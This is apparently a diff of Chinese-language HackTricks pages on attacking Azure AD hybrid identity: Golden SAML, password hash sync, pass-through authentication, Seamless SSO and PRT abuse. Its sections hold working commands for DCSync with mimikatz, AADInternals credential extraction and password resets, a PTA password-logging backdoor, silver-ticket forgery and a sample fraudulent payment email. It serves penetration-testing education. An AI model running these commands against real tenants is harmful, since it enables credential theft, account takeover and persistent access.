这样,该用户将**自动从 AzureAD 同步到本地 AD 用户**。
> [!CAUTION]
> 请注意,要执行此攻击,您 **不需要域管理员** 权限,您只需有 **创建新用户** 的权限
> 请注意,要执行此攻击,您**不需要域管理员**权限,您只需有权限**创建新用户**。
>
> 此外,这 **不会绕过 MFA**。
> 此外,这**不会绕过 MFA**。
>
> 此外,有报告称 **管理员帐户的帐户同步不再可能**。
> 此外,有报告称**管理员帐户的帐户同步不再可能**。
## References

View File

@@ -6,11 +6,11 @@
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**联邦**是建立了**信任**的一组**域**。信任的级别可能有所不同,但通常包括**身份验证**,几乎总是包括**授权**。一个典型的联邦可能包括一组已建立**信任**的**组织**,以便**共享访问**一组资源。
您可以**将本地环境与 Azure AD 联邦**,并使用此联邦进行身份验证和授权。此登录方法确保所有用户**身份验证在本地进行**。此方法允许管理员实施更严格的访问控制。与**AD FS**和 PingFederate 的联邦是可用的。
您可以**将本地环境与 Azure AD 联邦**,并使用此联邦进行身份验证和授权。此登录方法确保所有用户**身份验证发生在本地**。此方法允许管理员实施更严格的访问控制。与**AD FS**和 PingFederate 的联邦是可用的。
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
基本上,在联邦中,所有**身份验证**发生在**本地**环境中用户在所有受信任的环境中体验单点登录SSO。因此用户可以使用其**本地凭据**访问**云**应用程序。
基本上,在联邦中,所有**身份验证**发生在**本地**环境中用户在所有受信任的环境中体验单点登录SSO。因此用户可以使用其**本地凭据**访问**云**应用程序。
**安全断言标记语言 (SAML)** 用于在提供者之间**交换**所有身份验证和授权**信息**。
@@ -58,7 +58,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
可以与 [黄金票证攻击](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) 进行类比其中用于验证用户身份和权限的密钥KRBTGT 用于黄金票证,令牌签名私钥用于黄金 SAML可以被操纵以**伪造身份验证对象**TGT 或 SAMLResponse。这允许冒充任何用户授予对 SP 的未授权访问。
黄金 SAML 提供了一些优势:
黄金 SAML 提供些优势:
- 它们可以**远程创建**,无需成为相关域或联邦的一部分。
- 即使启用**双因素身份验证 (2FA)**,它们仍然有效。
@@ -67,9 +67,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
#### AWS + AD FS + 黄金 SAML
[活动目录联邦服务 (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) 是一 Microsoft 服务,促进受信任的商业伙伴之间**身份信息安全交换**(联邦)。它本上允许域服务与联邦内的其他服务提供者共享用户身份。
[活动目录联邦服务 (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) 是一 Microsoft 服务,促进受信任的商业伙伴之间**身份信息安全交换**(联邦)。它本上允许域服务与联邦内的其他服务提供者共享用户身份。
由于 AWS 信任被泄露的域(在联邦中),可以利用此漏洞潜在地**获取 AWS 环境中的任何权限**。该攻击需要**用于签 SAML 对象的私钥**,类似于在黄金票证攻击中需要 KRBTGT。访问 AD FS 用户帐户足以获取此私钥。
由于 AWS 信任被泄露的域(在联邦中),可以利用此漏洞潜在地**获取 AWS 环境中的任何权限**。该攻击需要**用于签 SAML 对象的私钥**,类似于在黄金票证攻击中需要 KRBTGT。访问 AD FS 用户帐户足以获取此私钥。
执行黄金 SAML 攻击的要求包括:
@@ -83,8 +83,8 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
_只有加粗的项目是强制性的。其他项目可以根据需要填写。_
要获取**私钥**,需要访问**AD FS 用户帐户**。从那里,可以使用 [mimikatz](https://github.com/gentilkiwi/mimikatz) 等工具从个人存储中**导出私钥**。要收集其他所需信息,可以使用 Microsoft.Adfs.Powershell snapin如下所示确保您以 ADFS 用户身份登录:
```powershell
要获取**私钥**,需要访问**AD FS 用户帐户**。从那里,可以使用 [mimikatz](https://github.com/gentilkiwi/mimikatz) 等工具**从个人存储中导出私钥**。要收集其他所需信息,可以使用 Microsoft.Adfs.Powershell snapin如下所示确保您以 ADFS 用户身份登录:
```bash
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -97,7 +97,7 @@ _只有加粗的项目是强制性的。其他项目可以根据需要填写。_
# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
通过所有信息,可以使用 [**shimit**](https://github.com/cyberark/shimit)**** 忘记一个有效的 SAMLResponse,作为您想要冒充的用户。
通过所有信息,可以使用 [**shimit**](https://github.com/cyberark/shimit)**** 伪装成您想要冒充的用户,忘记一个有效的 SAMLResponse
```bash
# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
@@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
### 本地 -> 云
```powershell
```bash
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
@@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
```
也可以为仅云用户创建 ImmutableID 并冒充他们。
```powershell
```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

View File

@@ -4,7 +4,7 @@
## 基本信息
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **密码哈希同步** 是实现混合身份的一种登录方法。**Azure AD Connect** 将用户密码的哈希值的哈希值从本地 Active Directory 实例同步到基于云的 Azure AD 实例。
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **密码哈希同步** 是实现混合身份的一种登录方法。 **Azure AD Connect** 将用户密码的哈希值的哈希值从本地 Active Directory 实例同步到基于云的 Azure AD 实例。
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
@@ -13,7 +13,7 @@
所有 **用户****密码哈希的哈希值** 都从本地同步到 Azure AD。然而**明文密码** 或 **原始** **哈希** 不会发送到 Azure AD。\
此外,**内置** 安全组(如域管理员...)不会 **同步** 到 Azure AD。
**哈希同步****2 分钟** 发生一次。然而,默认情况下,**密码过期** 和 **** **过期** 在 Azure AD 中 **不同步**。因此,**本地密码过期**(未更改)的用户可以继续使用旧密码 **访问 Azure 资源**
**哈希同步****2 分钟** 发生一次。然而,默认情况下,**密码过期** 和 **** **过期** 在 Azure AD 中 **不同步**。因此,**本地密码过期**(未更改)的用户可以继续使用旧密码 **访问 Azure 资源**
当本地用户想要访问 Azure 资源时,**身份验证在 Azure AD 上进行**。
@@ -21,26 +21,26 @@
## 侧向移动
当配置 PHS 时,一些 **特权** 会自动 **创建**
当配置 PHS 时,一些 **特权** 会自动 **创建**
- **`MSOL_<installationID>`** 会在本地 AD 中自动创建。该户被赋予 **目录同步** 角色(参见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)),这意味着它在本地 AD 中具有 **复制DCSync权限**
- **`Sync_<name of on-prem ADConnect Server>_installationID`** 在 Azure AD 中创建。该户可以 **重置 Azure AD 中任何用户**(同步或仅云)的密码。
- **`MSOL_<installationID>`** 会自动在本地 AD 中创建。该户被赋予 **目录同步** 角色(参见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)),这意味着它在本地 AD 中具有 **复制DCSync权限**
- **`Sync_<name of on-prem ADConnect Server>_installationID`** 在 Azure AD 中创建。该户可以 **重置 Azure AD 中任何用户**(同步或仅云)的密码。
前两个特权户的密码 **存储在 SQL 服务器** 上,该服务器上安装了 **Azure AD Connect**。管理员可以以明文形式提取这些特权用户的密码。\
前两个特权户的密码 **存储在 SQL 服务器** 上,该服务器 **Azure AD Connect 安装的服务器**。管理员可以提取这些特权用户的明文密码。\
数据库位于 `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`
可以从其中一个表中提取配置,其中一个是加密的:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
**加密配置** **DPAPI** 加密,包含本地 AD 中 **`MSOL_*`** 用户的 **密码** 和 AzureAD 中 **Sync\_\*** 的密码。因此,妥协这些信息可以提升到 AD 和 AzureAD 的权限。
**加密配置** 使**DPAPI** 加密,包含本地 AD 中 **`MSOL_*`** 用户的 **密码** 和 AzureAD 中 **Sync\_\*** 的密码。因此,妥协这些密码可以提升到 AD 和 AzureAD 的权限。
您可以在 [此演讲中找到有关这些凭据如何存储和解密的完整概述](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
### 查找 **Azure AD Connect 服务器**
如果 **安装 Azure AD Connect 的服务器** 加入了域(文档中推荐),可以通过以下方式找到它:
```powershell
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
@@ -48,7 +48,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### 滥用 MSOL\_*
```powershell
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
@@ -61,8 +61,8 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
### 滥用 Sync\_\*
妥协 **`Sync_*`** 账户可以 **重置任何用户(包括全局管理员)的密码**
```powershell
妥协 **`Sync_*`** 账户可以 **重置任何用户的密码**(包括全局管理员)。
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
@@ -83,7 +83,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
也可以**仅修改云**用户的密码(即使这出乎意料)
```powershell
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

View File

@@ -4,36 +4,36 @@
## 基本信息
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) 通过身份验证允许您的用户使用相同的密码**登录本地和基于云的应用程序**。此功能为您的用户提供了更好的体验 - 记住一个密码更少,并且减少了 IT 帮助台的成本,因为您的用户不太可能忘记如何登录。当用户使用 Azure AD 登录时,此功能**直接验证用户的密码与您的本地 Active Directory**。
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) 通过身份验证允许用户使用相同的密码**登录本地和基于云的应用程序**。此功能为用户提供了更好的体验 - 记住一个密码更少并且减少了IT帮助台的成本因为用户不太可能忘记如何登录。当用户使用Azure AD登录时此功能**直接验证用户的密码与本地Active Directory**。
PTA 中,**身份**是**同步**的,但**密码****不是**,就像在 PHS 中一样。
在PTA中**身份**是**同步**的,但**密码****不是**就像在PHS中一样。
身份验证在本地 AD 中验证,云的通信由在**本地服务器**上运行的**身份验证代理**完成(它不需要在本地 DC 上)。
身份验证在本地AD中进行验证,云的通信由在**本地服务器**上运行的**身份验证代理**完成它不需要在本地DC上
### 身份验证流程
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
1. 为了**登录**,用户被重定向到**Azure AD**,在这里他发送**用户名**和**密码**
2. **凭据**被**加密**并放入 Azure AD 中的**队列**
3. **本地身份验证代理**从队列中收集**凭据**并**解密**它们。这个代理被称为**“通过身份验证代理”**或**PTA 代理**。
4. **代理**将凭据与**本地 AD**进行**验证**,并将**响应****返回**给 Azure AD如果响应是积极的**完成用户的登录**。
2. **凭据**被**加密**并放入Azure AD中的**队列**
3. **本地身份验证代理**从队列中收集**凭据**并**解密**它们。这个代理被称为**“通过身份验证代理”**或**PTA代理**。
4. **代理**将凭据与**本地AD**进行**验证**,并将**响应****返回**给Azure AD如果响应是积极的**完成用户的登录**。
> [!WARNING]
> 如果攻击者**破坏**了**PTA**,他可以**查看**队列中的所有**凭据**(以**明文**形式)。\
> 他还可以**验证任何凭据**到 AzureAD类似于 Skeleton key 的攻击)。
> 他还可以**验证任何凭据**到AzureAD类似于Skeleton key的攻击
### 本地 -> 云
如果您对运行**PTA** **代理**的**Azure AD Connect 服务器**具有**管理员**访问权限,您可以使用**AADInternals**模块**插入后门**,这将**验证所有输入的密码**(因此所有密码都将有效进行身份验证):
```powershell
如果您对运行**PTA** **代理**的**Azure AD Connect服务器**具有**管理员**访问权限,您可以使用**AADInternals**模块**插入后门**,这将**验证所有输入的密码**(因此所有密码都将有效进行身份验证):
```bash
Install-AADIntPTASpy
```
> [!NOTE]
> 如果**安装失败**,这可能是由于缺少 [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)。
还可以使用以下 cmdlet 在安装了之前后门的机器上**查看发送到 PTA 代理的明文密码**
```powershell
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
这个后门将会:
@@ -52,7 +52,7 @@ Get-AADIntPTASpyLog -DecodePasswords
### 无缝 SSO
可以使用 PTA 的无缝 SSO这对其他滥用是脆弱的。请查看
可以使用无缝 SSO 与 PTA,这对其他滥用是脆弱的。请查看:
{{#ref}}
seamless-sso.md

View File

@@ -8,20 +8,20 @@
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
基本上Azure AD Seamless SSO **在用户** **在本地域加入的 PC 上** **登录用户**。
基本上Azure AD Seamless SSO **在用户** **在本地域加入的 PC 上** **登录用户**
它支持 [**PHS (密码哈希同步)**](phs-password-hash-sync.md) 和 [**PTA (透传身份验证)**](pta-pass-through-authentication.md)。
桌面 SSO 使用 **Kerberos** 进行身份验证。当配置时Azure AD Connect 在本地 AD 中创建一个名为 **AZUREADSSOACC`$`** 的**计算机帐户**。`AZUREADSSOACC$` 帐户的密码在配置期间**以明文形式发送到 Azure AD**。
桌面 SSO 使用 **Kerberos** 进行身份验证。当配置时Azure AD Connect 在本地 AD 中创建一个名为 **AZUREADSSOACC`$`** **计算机帐户**`AZUREADSSOACC$` 帐户的密码在配置期间**以明文形式发送到 Azure AD**。
**Kerberos 票证**使用密码的 **NTHash (MD4)** 进行**加密**Azure AD 使用发送的密码解密票证。
**Kerberos 票证**使用密码的 **NTHash (MD4)** 进行**加密**Azure AD 使用发送的密码解密票证。
**Azure AD** 暴露一个 **端点** (https://autologon.microsoftazuread-sso.com),接受 Kerberos **票证**。域加入机器的浏览器将票证转发到此端点以实现 SSO。
### 本地 -> 云
用户 **`AZUREADSSOACC$` 的密码** **永远不会改变**。因此,域管理员可以破**帐户的哈希**,然后使用它来 **创建银票** 以连接到 Azure使用 **任何已同步的本地用户**
```powershell
用户 **`AZUREADSSOACC$` 的密码从不更改**。因此,域管理员可以破**帐户的哈希**,然后使用它来 **创建银票** 以连接到 Azure使用 **任何已同步的本地用户**
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
@@ -39,7 +39,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
使用该哈希,您现在可以**生成银票**
```powershell
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -53,7 +53,7 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
```
要利用银票,应执行以下步骤:
要利用银票,应执行以下步骤:
1. **启动浏览器:** 应启动 Mozilla Firefox。
2. **配置浏览器:**
@@ -64,7 +64,7 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
3. **访问 Web 应用程序:**
- 访问与组织的 AAD 域集成的 Web 应用程序。一个常见的例子是 [Office 365](https://portal.office.com/)。
4. **身份验证过程:**
- 在登录屏幕上,输入用户名,密码字段留空。
- 在登录屏幕上,输入用户名,密码字段留空。
- 要继续,请按 TAB 或 ENTER。
> [!TIP]
@@ -72,30 +72,30 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
#### 选项 2 无需 dcsync - SeamlessPass
也可以 **在没有 dcsync 攻击** 的情况下执行此攻击,以更隐蔽,如 [在这篇博客文章中解释](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)。为此,您只需要以下之一:
也可以 **在没有 dcsync 攻击的情况下** 执行此攻击,以更隐蔽,如 [在这篇博客文章中解释](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)。为此,您只需要以下之一:
- **被攻陷用户的 TGT** 即使您没有,但用户被攻陷,您也可以使用许多工具中实现的假 TGT 委托技巧获取一个,例如 [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 和 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)。
- **黄金票证**:如果您拥有 KRBTGT 密钥,可以为被攻击用户创建所需的 TGT。
- **被攻陷用户的 NTLM 哈希或 AES 密钥:** SeamlessPass 将使用此信息与域控制器通信以生成 TGT。
- **AZUREADSSOACC$ 账户 NTLM 哈希或 AES 密钥:** 使用此信息和用户的安全标识符 (SID) 进行攻击,可以创建服务票证并与云进行身份验证(如在前一种方法中执行的那样)。
- **AZUREADSSOACC$ 账户 NTLM 哈希或 AES 密钥:** 使用此信息和用户的安全标识符 (SID) 进行攻击,可以创建服务票证并与云进行身份验证(如前面的方法所示)。
最后,使用 TGT 可以使用工具 [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) 进行:
```
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
```
进一步的信息可以在[**这篇博客文章中找到**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)。
进一步的信息可以在[**这篇博客文章中找到**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)以设置Firefox与无缝SSO一起工作
#### ~~为仅云用户创建 Kerberos 票证~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
#### ~~为仅云用户创建Kerberos票证~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
如果 Active Directory 管理员可以访问 Azure AD Connect他们可以**为任何云用户设置 SID**。这样Kerberos **票证**也可以**为仅云用户创建**。唯一的要求是 SID 必须是一个合适的 [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
如果Active Directory管理员可以访问Azure AD Connect他们可以**为任何云用户设置SID**。这样Kerberos **票证**也可以**为仅云用户创建**。唯一的要求是SID是一个合适的[SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
> [!CAUTION]
> 仅云管理员用户的 SID 现在**被 Microsoft 阻止**。\
> 有关信息,请查看 [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
> 仅云管理员用户的SID现在**被Microsoft阻止**。\
> 有关信息,请查看[https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
### 本地 -> 云通过基于资源的受限委派 <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
任何可以管理计算机帐户 (`AZUREADSSOACC$`) 的人,在该帐户所在的容器或 OU 中,都可以**配置基于资源的受限委派并访问它**。
任何可以管理计算机帐户`AZUREADSSOACC$`的人在该帐户所在的容器或OU中都可以**配置基于资源的受限委派并访问它**。
```python
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
```

View File

@@ -34,7 +34,7 @@ PRT cookie实际上被称为**`x-ms-RefreshTokenCredential`**它是一个JSON
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}
```
实际的 **Primary Refresh Token (PRT)** 被封装在 **`refresh_token`** 中,该令牌由 Azure AD 控制的密钥加密,使其内容对我们来说是不可见和无法解密的。字段 **`is_primary`** 表示该令牌中封装了主刷新令牌。为了确保 cookie 保持与其预期的特定登录会话绑定,`request_nonce``logon.microsoftonline.com` 页面传输。
实际的 **Primary Refresh Token (PRT)** 被封装在 **`refresh_token`** 中,该令牌由 Azure AD 控制的密钥加密,使其内容对我们来说是不可见和不可解密的。字段 **`is_primary`** 表示该令牌中封装了主刷新令牌。为了确保 cookie 保持与其预期的特定登录会话绑定,`request_nonce``logon.microsoftonline.com` 页面传输。
### 使用 TPM 的 PRT Cookie 流
@@ -61,7 +61,7 @@ PRT cookie实际上被称为**`x-ms-RefreshTokenCredential`**它是一个JSON
要生成有效的 PRT cookie您需要的第一件事是一个随机数。\
您可以通过以下方式获取:
```powershell
```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
@@ -77,19 +77,19 @@ $Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
```
或使用 [**roadrecon**](https://github.com/dirkjanm/ROADtools):
```powershell
```bash
roadrecon auth prt-init
```
然后你可以使用 [**roadtoken**](https://github.com/dirkjanm/ROADtoken) 来获取一个新的 PRT从用户的进程中运行该工具进行攻击
```powershell
```bash
.\ROADtoken.exe <nonce>
```
作为单行:
```powershell
```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
然后您可以使用**生成的 cookie**来**生成令牌**以使用 Azure AD **Graph** 或 Microsoft Graph **登录**
```powershell
```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>
@@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
### 攻击 - 使用 AADInternals 和泄露的 PRT
`Get-AADIntUserPRTToken` **获取用户的 PRT 令牌** 从 Azure AD 加入或混合加入的计算机。使用 `BrowserCore.exe` 获取 PRT 令牌。
```powershell
```bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
@@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
```
或者,如果您拥有来自 Mimikatz 的值,您也可以使用 AADInternals 生成令牌:
```powershell
```bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
@@ -146,19 +146,19 @@ HttpOnly: Set to True (checked)
然后访问 [https://portal.azure.com](https://portal.azure.com)
> [!CAUTION]
> 其余的应该是默认设置。确保您可以刷新页面并且 cookie 不会消失,如果消失了,您可能犯了错误,需要重新进行该过程。如果没有消失,您应该没问题。
> 其余部分应为默认值。确保您可以刷新页面并且 cookie 不会消失,如果消失了,您可能犯了错误,需要重新进行该过程。如果没有消失,您应该没问题。
### 攻击 - Mimikatz
#### 步骤
1. **PRT主刷新令牌从 LSASS本地安全授权子系统服务中提取**并存储以供后续使用。
2. **接下来提取会话密钥**。鉴于此密钥最初由本地设备发出,然后重新加密,因此需要使用 DPAPI 主密钥进行解密。有关 DPAPI数据保护 API的详细信息请参阅这些资源[HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html)有关其应用的理解,请参 [Pass-the-cookie attack](az-pass-the-cookie.md)。
3. 在解密会话密钥后,**获得 PRT 的派生密钥和上下文**。这些对于**创建 PRT cookie**至关重要。具体而言,派生密钥用于签署构成 cookie 的 JWTJSON Web Token。Dirk-jan 提供了对此过程的全面解释,可以在 [这里](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) 访问。
2. **接下来提取会话密钥**。鉴于此密钥最初由本地设备发出,然后重新加密,因此需要使用 DPAPI 主密钥进行解密。有关 DPAPI数据保护 API的详细信息请参阅这些资源[HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html)要了解其应用,请参 [Pass-the-cookie attack](az-pass-the-cookie.md)。
3. 在解密会话密钥后,**获得 PRT 的派生密钥和上下文**。这些对于**创建 PRT cookie**至关重要。具体而言,派生密钥用于签署构成 cookie 的 JWTJSON Web Token。Dirk-jan 提供了对此过程的全面解释,可以在 [这里](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) 访问。
> [!CAUTION]
> 请注意,如果 PRT 在 TPM 中而不在 `lsass` 中,**mimikatz 将无法提取它**。\
> 但是,可以从 TPM 中的上下文派生密钥获取密钥,并使用它来**签署 cookie检查选项 3**
> 但是,可以从 TPM 中的上下文派生密钥获取密钥,并使用它来**签署 cookie检查选项 3**
您可以在这里找到**提取这些详细信息的深入解释**[**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
@@ -166,7 +166,7 @@ HttpOnly: Set to True (checked)
> 在 2021 年 8 月的修复后,这将无法准确地获取其他用户的 PRT 令牌,因为只有用户可以获取他的 PRT本地管理员无法访问其他用户的 PRT但可以访问他的。
您可以使用 **mimikatz** 提取 PRT
```powershell
```bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

View File

@@ -2,6 +2,8 @@
{{#include ../../banners/hacktricks-training.md}}
要开始测试,您应该拥有一个具有**订阅的读取权限**和**AzureAD中的全局读取角色**的用户。如果即使在这种情况下您仍然**无法访问存储帐户的内容**,您可以通过**角色存储帐户贡献者**来修复它
要开始对一些 Entra ID 租户进行白盒加固审查,您需要请求 **每个租户的 Global Reader 角色**。此外,要对不同的 Azure 订阅进行加固审查,您至少需要 **对所有订阅的 Reader 权限**
请注意,如果这些角色不足以访问您所需的所有信息,您还可以向客户请求具有所需权限的角色。只需尽量 **减少您请求的非只读权限的数量!**
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,44 +4,44 @@
### 非法同意授权
默认情况下,任何用户都可以在 Azure AD 中注册应用程序。因此,您可以注册一个需要高影响权限的应用程序(仅针对目标租户),并获得管理员同意(如果您是管理员,则批准它) - 例如代表用户发送邮件、角色管理等。这将使我们能够 **执行钓鱼攻击**,如果成功,将非常 **有成效**
默认情况下,任何用户都可以在 Azure AD 中注册应用程序。因此,您可以注册一个需要高影响权限的应用程序(仅针对目标租户),并获得管理员同意(如果您是管理员,则批准它) - 例如代表用户发送邮件、角色管理等。这将使我们能够**执行网络钓鱼攻击**,如果成功,将非常**有成效**。
此外,您还可以接受该应用程序作为您的用户,以维持对其的访问。
### 应用程序和服务主体
拥有应用程序管理员、GA 或具有 microsoft.directory/applications/credentials/update 权限的自定义角色的权限,我们可以向现有应用程序添加凭据(密钥或证书)。
凭借应用程序管理员、GA 或具有 microsoft.directory/applications/credentials/update 权限的自定义角色的权限,我们可以向现有应用程序添加凭据(密钥或证书)。
可以 **针对具有高权限的应用程序****添加具有高权限的新应用程序**
可以**针对具有高权限的应用程序**或**添加具有高权限的新应用程序**。
一个有趣的角色是 **特权身份验证管理员角色**,因为它允许 **重置** 全局管理员的密码。
一个有趣的角色是**特权身份验证管理员角色**,因为它允许**重置**全局管理员的密码。
技术还允许 **绕过 MFA**
```powershell
技术还允许**绕过 MFA**。
```bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
```
- 对于基于证书的身份验证
```powershell
```bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```
### 联邦 - 令牌签名证书
### Federation - Token Signing Certificate
